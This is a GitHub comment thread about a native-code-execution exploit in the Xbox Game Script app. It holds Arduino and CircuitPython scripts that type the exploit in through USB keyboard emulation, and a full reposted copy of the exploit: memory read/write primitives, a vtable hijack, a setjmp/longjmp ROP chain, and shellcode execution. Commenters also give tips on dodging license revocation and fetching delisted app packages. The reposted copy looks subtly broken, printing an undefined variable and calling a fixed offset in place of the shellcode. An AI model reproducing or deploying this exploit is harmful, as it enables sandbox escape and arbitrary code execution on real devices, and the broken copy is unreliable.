  Keyboard.print("tmp_bytes = [0,0,0,0,0,0,0,0,0,0,0]");

  typeKey(KEY_ENTER);

  Keyboard.print("gadget_ptr = find_bytes(ntdll_base, 0x217000, gadget_bytes, tmp_bytes)");

  typeKey(KEY_ENTER);

  Keyboard.print("// get the ntdll & kernel base exports and find VirtualAlloc/Protect");

  typeKey(KEY_ENTER);

  Keyboard.print("var kernelbase_exports = get_dll_exports(kernelbase_base)");

  typeKey(KEY_ENTER);

  Keyboard.print("var ntdll_exports = get_dll_exports(ntdll_base)");

  typeKey(KEY_ENTER);

  Keyboard.print("VirtualAlloc_ptr = kernelbase_exports[\"VirtualAlloc\"]");

  typeKey(KEY_ENTER);

  Keyboard.print("VirtualProtect_ptr = kernelbase_exports[\"VirtualProtect\"]");

  typeKey(KEY_ENTER);

  Keyboard.print("// map our shellcode");

  typeKey(KEY_ENTER);

  Keyboard.print("var shellcode_addr = map_code(shellcode)");

  typeKey(KEY_ENTER);

  Keyboard.print("var shellcode_ret = call_native(shellcode_addr, 0, 0, 0, 0)");

  typeKey(KEY_ENTER);

  Keyboard.print("printConsole(\"Shellcode return value: \" + num_to_hex64(shellcode_ret) + \"\\n\")");

  // End Payload

  // Stop Keyboard and Mouse
  Keyboard.end();
  AbsoluteMouse.end();
}

// Unused
void loop() {}

@DarkLimbo
Copy link

This is becoming more like the PS4 11.00 jb each day lmao

@MrJackus1
Copy link

MrJackus1 commented Jun 13, 2024

Ive created a script which can run this on a pico with circuit python 9, just copy gspoc.txt and this script into your pico's root. Name this main.py and youre good :) (I have a download for this on my git which includes all file ect) --

import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
#You may have to change this layout depending on your keyboard layout
from keyboard_layout_win_uk import KeyboardLayout
#from keyboard_layout_win_fr import KeyboardLayout #This is for a french keyboard for example.
from keycode_win_uk import Keycode
import digitalio
import board

filename = 'gspoc.txt'
delaySecs = 0.01

led = digitalio.DigitalInOut(board.GP25)
led.direction = digitalio.Direction.OUTPUT
kbd = Keyboard(usb_hid.devices)
kbd_layout = KeyboardLayout(kbd)

#load a txt
def loadFile():    
    print('Loading file')
    data = open(filename,"r", encoding='utf')
    lines = open(filename, "r", encoding='utf8')
    lines = lines.readlines()
    print(len(lines))
    return data.read()

def typeOutString(inputstring, Stime):
    inputstring = str(inputstring)
    Stime = Stime
    count = 0
    key = ''
    for char in inputstring:
        led.value = True
        kbd_layout.write(char)
        time.sleep(Stime)  # Adjust the delay between key presses if necessary
        led.value = False

def ledSequence():    
    led.value = True
    print('You have 10 Seconds before code execution.')
    time.sleep(2)
    for i in range(0,30):
        if i < 10:
            time.sleep(0.2)
            led.value = False
            time.sleep(0.2)
            led.value = True
        if i == 8:
            print('5 Seconds before code execuition')
        if i > 10:   
            time.sleep(0.1)
            led.value = False
            time.sleep(0.1)
            led.value = True 
    print(f'''Running!\n''')

ledSequence()
typeOutString(loadFile(),delaySecs)
print('Done!')
led.value = False

@notunixian
Copy link

I suspect the windows api can work since Xbox SystemOS really is windows under the hood. try writing this C program, compile with gcc and convert to a js shellcode array with the script above.

#include <windows.h>

int main() {
    MessageBox(NULL, "Hello, Xbox!", "Greetings", MB_OK);
    return 0;
}

the output exe should be around 100kb, so it will take a while for a duckyscript to type it all out. someone please try it

refer to the bottom of the script:

// get the ntdll & kernel base exports and find VirtualAlloc/Protect
var kernelbase_exports = get_dll_exports(kernelbase_base)
var ntdll_exports = get_dll_exports(ntdll_base)
VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"]
VirtualProtect_ptr = kernelbase_exports["VirtualProtect"]

since MessageBoxA is exported by user32.dll, you'd either need to find the base of it (if it's even loaded) or just call NtRaiseHardError and see what happens. to actually call it, you would need to set up call_native to handle more parameters as NtRaiseHardError takes more parameters than VirtualAlloc/VirtualProtect, which is what it's currently used for.

you'd get the ptr to NtRaiseHardError just by using ntdll_exports:
var NtRaiseHarderror_ptr = ntdll_exports["NtRaiseHardError"]

in theory you should be able to call any exported function you want as long as call_native is adjusted properly for the arguments to be placed into the proper registers.

@kernaltrap8
Copy link

I suspect the windows api can work since Xbox SystemOS really is windows under the hood. try writing this C program, compile with gcc and convert to a js shellcode array with the script above.

#include <windows.h>

int main() {
    MessageBox(NULL, "Hello, Xbox!", "Greetings", MB_OK);
    return 0;
}

the output exe should be around 100kb, so it will take a while for a duckyscript to type it all out. someone please try it

refer to the bottom of the script:

// get the ntdll & kernel base exports and find VirtualAlloc/Protect
var kernelbase_exports = get_dll_exports(kernelbase_base)
var ntdll_exports = get_dll_exports(ntdll_base)
VirtualAlloc_ptr = kernelbase_exports["VirtualAlloc"]
VirtualProtect_ptr = kernelbase_exports["VirtualProtect"]

since MessageBoxA is exported by user32.dll, you'd either need to find the base of it (if it's even loaded) or just call NtRaiseHardError and see what happens. to actually call it, you would need to set up call_native to handle more parameters as NtRaiseHardError takes more parameters than VirtualAlloc/VirtualProtect, which is what it's currently used for.

you'd get the ptr to NtRaiseHardError just by using ntdll_exports: var NtRaiseHarderror_ptr = ntdll_exports["NtRaiseHardError"]

in theory you should be able to call any exported function you want as long as call_native is adjusted properly for the arguments to be placed into the proper registers.

i would like to try this but i dont know really anything about windows, i learned most of my RE stuff on modding ps3 games, and learned actual assembly on linux

@kernaltrap8
Copy link

also, it appears that the Game Script app has been removed from the microsoft store.
image

@imedox
Copy link

imedox commented Jun 14, 2024

RP2040 ZERO:

#include <Arduino.h>
#include <Keyboard.h>

const char* text = R"(
// native code exec PoC via Game Script - @carrot_c4k3 (exploits.forsale)
//
// sample shellcode: mov rax, 0x1337; ret;
// drop your own shellcode inplace here
let shellcode = [0x48,0xC7,0xC0,0x37,0x13,0x00,0x00,0xC3]

// hex printing helper functions
let i2c_map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']
let c2i_map = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'A': 0xA, 'B': 0xB, 'C': 0xC, 'D': 0xD, 'E': 0xE, 'F': 0xF}

printConsole("started")

fn hex_to_num(s) {
var str_len = len(s)
var res = 0
for (var i = 0; i < str_len; i++)
{
res = res << 4
res = res + c2i_map[s[i]]
}
return res
}

fn num_to_hex(num, byte_count) {
if (byte_count > 8) {
byte_count = 8
}
var res = ""
for (var i = 0; i < byte_count * 2; i++) {
var idx = (num >> (4 * i)) & 15
res = i2c_map[idx] + res
}
return res
}

fn num_to_hex8(num) {
return num_to_hex(num, 1)
}

fn num_to_hex16(num) {
return num_to_hex(num, 2)
}

fn num_to_hex32(num) {
return num_to_hex(num, 4)
}

fn num_to_hex64(num) {
return num_to_hex(num, 8)
}

fn hex_dump(addr, count) {
for (var i = 0; i < count; i++) {
if (i > 0 && (i % 16) == 0) {
printConsole("\n")
}
var cur_byte = pointerGetUnsignedInteger8Bit(0, addr + i)
printConsole(num_to_hex8(cur_byte) + " ")
}
}

fn array_fill(arr) {
var arr_len = len(arr)
for (var i = 0; i < arr_len; i++) {
arr[i] = 0x41
}
}

fn round_down(val, bound) {
return floor(val - (val % bound))
}

fn array_compare(a1, a2) {
if (len(a1) != len(a2)) {
return false
}
var arr_len = len(a1)

for (var i = 0; i < arr_len; i++) {
	if (a1[i] != a2[i]) {
		return false
	}
}

return true

}

// shorthand helpers for memory access
fn write8(addr, val) {
pointerSetUnsignedInteger8Bit(0, addr, val)
}

fn read8(addr) {
return pointerGetUnsignedInteger8Bit(0, addr)
}

fn write16(addr, val) {
pointerSetAtOffsetUnsignedInteger16Bit(0, addr, val)
}

fn read16(addr) {
return pointerGetAtOffsetUnsignedInteger16Bit(0, addr)
}

fn write32(addr, val) {
pointerSetAtOffsetUnsignedInteger(0, addr, val)
}

fn read32(addr) {
return pointerGetAtOffsetUnsignedInteger(0, addr)
}

fn write64(addr, val) {
pointerSetAtOffsetUnsignedInteger64Bit(0, addr, val)
}

fn read64(addr) {
return pointerGetAtOffsetUnsignedInteger64Bit(0, addr)
}

fn read_buf(addr, buf) {
var buf_len = len(buf)
for (var i = 0; i < buf_len; i++) {
buf[i] = read8(addr + i)
}
}

fn write_buf(addr, buf) {
var buf_len = len(buf)
for (var i = 0; i < buf_len; i++) {
write8(addr+i, buf[i])
}
}

fn find_bytes(addr, max_len, pattern, buf) {
for (var i = 0; i < max_len; i++) {
read_buf(addr + i, buf)
if (array_compare(pattern, buf)) {
return addr + i
}
}
return 0
}

fn find64(addr, max_len, v) {
var offset = 0
while (1) {
var temp_val = read64(addr+offset)
if (temp_val == v) {
return addr+offset
}
offset += 8
}
return 0
}

printConsole("hex printing helper functions done")

// shorthand funcs
fn ptr_to_num(p) {
return numberFromRaw64BitUnsignedInteger(p)
}

var gs_base = 0
var ntdll_base = 0
var kernelbase_base = 0
var longjmp_ptr = 0
var setjmp_ptr = 0
var gadget_ptr = 0
fn call_native(func_ptr, rcx, rdx, r8, r9) {
// allocate our objects
var obj_ptr = globalArrayNew8Bit("call", 0x100)
var objp = ptr_to_num(obj_ptr)
var vt_ptr = globalArrayNew8Bit("vtable", 0x18)
var vtp = ptr_to_num(vt_ptr)
var stack_size = 0x4000
var stack_ptr = globalArrayNew8Bit("stack", stack_size)
var stackp = ptr_to_num(stack_ptr)
var jmpctx_ptr = globalArrayNew8Bit("jctx", 0x100)
var jcp = ptr_to_num(jmpctx_ptr)

// set up vtable pointers
write64(vtp+8, setjmp_ptr)
write64(objp, vtp)

// trigger vtable call
slBus_destroy(obj_ptr)
memcpy(jmpctx_ptr, 0, obj_ptr, 0, 0x100)

// set up our rop chain
write64(stackp+stack_size-0xA0, rdx)
write64(stackp+stack_size-0x98, rcx)
write64(stackp+stack_size-0x90, r8)
write64(stackp+stack_size-0x88, r9)
write64(stackp+stack_size-0x80, 0)
write64(stackp+stack_size-0x78, 0)
write64(stackp+stack_size-0x70, func_ptr)
write64(stackp+stack_size-0x68, gs_base+0x1F13A)
write64(stackp+stack_size-0x38, 0x15151515)
write64(stackp+stack_size-0x30, gs_base+0x109C4A)
write64(stackp+stack_size-0x28, jcp)
write64(stackp+stack_size-0x20, longjmp_ptr);

// set up the vtable and setjmp context
write64(vtp+8, longjmp_ptr)
write64(objp, vtp)
write64(objp+0x10, stackp+stack_size-0xA0)
write64(objp+0x50, gadget_ptr)

// trigger vtable call
slBus_destroy(obj_ptr)
var ret_val = read64(stackp+stack_size-0x68)

// clean up our objects
globalArrayDelete("call")
globalArrayDelete("vtable")
globalArrayDelete("stack")
globalArrayDelete("jctx")

return ret_val

}

printConsole("shorthand funcs done")

fn find_module_base(addr) {
var search_addr = round_down(addr, 0x10000)

while (1) {
	var magic_static = [0x4D, 0x5A]
	var magic_read = [0, 0]
	read_buf(search_addr, magic_read)

	if (array_compare(magic_static, magic_read)) {
		return search_addr
	}
	search_addr -= 0x10000
}
return 0

}

fn get_dll_exports(base_addr) {
var res = {}
var magic_static = [0x4D, 0x5A]
var magic_read = [0, 0]
read_buf(base_addr, magic_read)

if (!array_compare(magic_static, magic_read)) {
	return res
}

var pe_header = base_addr + read32(base_addr+0x3C)
var exports_addr = base_addr + read32(pe_header+0x88)
var num_funcs = read32(exports_addr+0x14)
var num_names = read32(exports_addr+0x18)
var funcs_addr = base_addr + read32(exports_addr+0x1c)
var names_addr = base_addr + read32(exports_addr+0x20)
var ords_addr = base_addr + read32(exports_addr+0x24)

for (var i = 0; i < num_funcs; i++) {
	var func_addr = base_addr + read32(funcs_addr+(i*4))
	var name_addr = base_addr + read32(names_addr+(i*4))
	var ord = read16(ords_addr+(i*2))
	var func_name = read_str(name_addr)
	res[func_name] = func_addr
}

return res

}

fn read_str(addr) {
var res = ""
while (1) {
var ch = read8(addr)
if (ch == 0) {
break
}
res = res + chr(ch)
addr = addr + 1
}
return res
}

var init = 0
if (init == 0) {
init = 1
gs_base = find_module_base(ptr_to_num(getFunctionAddress("gsInitialize")))
ntdll_base = find_module_base(ptr_to_num(getFunctionAddress("NtWaitForSingleObject")))
kernelbase_base = find_module_base(ptr_to_num(getFunctionAddress("BasepInitializeRtl")))
var kernel32_base = find_module_base(ptr_to_num(getFunctionAddress("LoadLibraryA")))
var kernel32_exports = get_dll_exports(kernel32_base)
setjmp_ptr = kernel32_exports["SetJmp"]
longjmp_ptr = kernel32_exports["LongJmp"]
var gs_exports = get_dll_exports(gs_base)
gadget_ptr = gs_exports["gsContextHandle"]
}

call_native(gs_base+0x1000, 0xDEADBEEF, 0, 0, 0)

printConsole("Shellcode return value: " + num_to_hex64(shellcode_ret) + "\n")
)";

void setup() {
Keyboard.begin();
delay(1000); // Wait for a second before typing
Keyboard.print(text);
}

void loop() {
// Do nothing here
}

@amir16yp
Copy link

also, it appears that the Game Script app has been removed from the microsoft store. image

Reminder for everyone here to NOT connect your xbox to the internet, esp. if you already have gamescript installed.
Microsoft can easily remotely "update" or remove gamescript the moment you connect it to the internet. I wouldn't risk it with a dns based blocking, too.

@kernaltrap8
Copy link

With DNS based blocking, there is no way for them to revoke licenses as they cannot remotely access the console to revoke it. They can only revoke it once you are connected to Xbox Live.

also, it appears that the Game Script app has been removed from the microsoft store. image

Reminder for everyone here to NOT connect your xbox to the internet, esp. if you already have gamescript installed. Microsoft can easily remotely "update" or remove gamescript the moment you connect it to the internet. I wouldn't risk it with a dns based blocking, too.

@kernaltrap8
Copy link

using loopback as a DNS only allows you to connect to local devices on your network

@kernaltrap8
Copy link

Should I tell that when I wrote Game Script I didn't think that 2 years later some prodigies will use it to hack the console? 😁 My intention was that people could program games on Xbox without a PC, but I guess the hell breaks loose when you expose arbitrary pointer reads/writes, even with supposed UWP sandboxing...

yes... as a developer standpoint that would have been a good idea. thanks for not doing that though, now i most likely wont need to pay for a dev license.

@carrot-c4k3
Copy link
Author

Should I tell that when I wrote Game Script I didn't think that 2 years later some prodigies will use it to hack the console? 😁 My intention was that people could program games on Xbox without a PC, but I guess the hell breaks loose when you expose arbitrary pointer reads/writes, even with supposed UWP sandboxing...

Hahaha thank you so much for creating it! <3 I hope that this whole thing hasn't caused you too much headache 😅 I've really enjoyed playing around with Game Script! Even if this wasn't how you originally envisioned it, I hope you'll appreciate that the Xbox version has indeed helped many develop for the Xbox :)

@carrot-c4k3
Copy link
Author

I hope that this whole thing hasn't caused you too much headache 😅

Nope, it was pretty much unintentionally abandoned when Microsoft blocked my developer account in 2022 due to sanctions because I happen to be born in a Nazi-controlled country that takes territories of its neighbors. Bad luck for me, but I still program for open operating systems, no one can take that from me...

Аааа да, я поняла. Спасибо еще раз за вашу работу <3 Желаю вам удачи, успех, и счастье, и надеюсь что наше будущее будет немного светлее, и мы все сможем мирно программировать на открытых системах)

@carrot-c4k3
Copy link
Author

@carrot-c4k3 your code here is amazing, by the way, have you wrote any games? Can I play them somewhere? Itch or somewhere else?

Thanks!! Unfortunately not, I haven't written many games except some old toy Game Boy projects 😅 Once I'm done with this kernel exploit and we can run more than just UWP on Xbox maybe I'll write a game for that :)

@imedox
Copy link

imedox commented Jun 15, 2024

@carrot-c4k3 xbox one x have the firmware 10.0.25398.4478 (xb_flt_2405zn.240501-1900) we, run this script nothing show in the terminal nothing happen !!!!

@ArgonUK
Copy link

ArgonUK commented Jun 15, 2024

Thank you, all. Спасибо создателям эксплойта и программы.

Xbox One X (4908) - It takes about 35 seconds to produce 1337 response in the Game Script.

I assume the timing would be much shorter on the Xbox Series S/X consoles.

@KsAmJ
Copy link

KsAmJ commented Jun 16, 2024

If you are really the developer of the app., you can easily release the update as an installer file that we can later install it once we have access to the DEV MODE on retail. That way your work will be preserved and ongoing.

Honestly, in case Microsoft people will read this, just let people dual boot to Linux. It's 2024, we have Steam Decks that let users go to desktop Linux mode, if the fear is "people will pirate our games", how many Steam Deck users pirate games? How many Steam Deck users pirate games? Why Valve sells Steam Decks for cheap if people pirate games there?

@Banana7887
Copy link

If you are really the developer of the app., you can easily release the update as an installer file that we can later install it once we have access to the DEV MODE on retail. That way your work will be preserved and ongoing.

Honestly, in case Microsoft people will read this, just let people dual boot to Linux. It's 2024, we have Steam Decks that let users go to desktop Linux mode, if the fear is "people will pirate our games", how many Steam Deck users pirate games? How many Steam Deck users pirate games? Why Valve sells Steam Decks for cheap if people pirate games there?

IK how to get the app for Dev Mode if u need here no he did not give it i may or may not have used this to get it
apps from Microsoft links i typed the link and got the appx file and the other things required to work or if no link use the product id in the original link after We couldn't find (then copy whatever is here). tbh idk what its called but hey it worked i had to copy the link address from the page if u need the original link here you go
Screenshot 2024-06-17 at 5 58 57 PM
Screenshot 2024-06-17 at 5 58 31 PM
Screenshot 2024-06-17 at 5 58 42 PM
evil is it not?

@Banana7887
Copy link

forgor to mention product id for apps that are no longer available

@Banana7887
Copy link

Screenshot 2024-06-17 at 5 58 12 PM

@imran1980
Copy link

Hi guys, can anyone help me pls. I get this error message when I try snd run the code via pico. Script loads up on the game script app, but when I try to test the script i get this error message. See picture
1000008106

@kernaltrap8
Copy link

Hi guys, can anyone help me pls. I get this error message when I try snd run the code via pico. Script loads up on the game script app, but when I try to test the script i get this error message. See picture 1000008106

you dont need to use a Pico to get the script into the app. if you set your xbox's DNS to 127.0.0.1, you can run a http server with python on your PC and serve the script that way, copy it from msedge and then paste it into the app.

@imran1980
Copy link

I would still like to know how to fix this error for my pico. I'm on the correct vulnerable firmware. I'm confused to what I'm doing wrong. The script loads into the app. Pressed run code , nothing happens but when I select error message screen I get that error message.

@Cartrigger
Copy link

I would still like to know how to fix this error for my pico. I'm on the correct vulnerable firmware. I'm confused to what I'm doing wrong. The script loads into the app. Pressed run code , nothing happens but when I select error message screen I get that error message.

Remove the uncommented code or add comments at the very top

@imran1980
Copy link

I got it working. I had a feeling i
1000008147
t was the keyboard dictation. Mine was UK keyboard layout so I changed it to US and it works.

@kgabis
Copy link

kgabis commented Jun 22, 2024

Also, pinging @kgabis since Game Script on Xbox used his Ape scripting language. 😃 (sorry, @kgabis, this code was not my intention 2 years ago! 😄)

I did not expect ape to be used in such a fun way, for a moment I was worried that's a bug in my code 😂

@Sergb1970
Copy link

Tell me how to clear the window of Game Script from the previous script.
I can't insert a new one.

@kernaltrap8
Copy link

Tell me how to clear the window of Game Script from the previous script. I can't insert a new one.

click on the text window until the virtual keyboard pops up, then insert a usb keyboard and hit CTRL+A and backspace

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment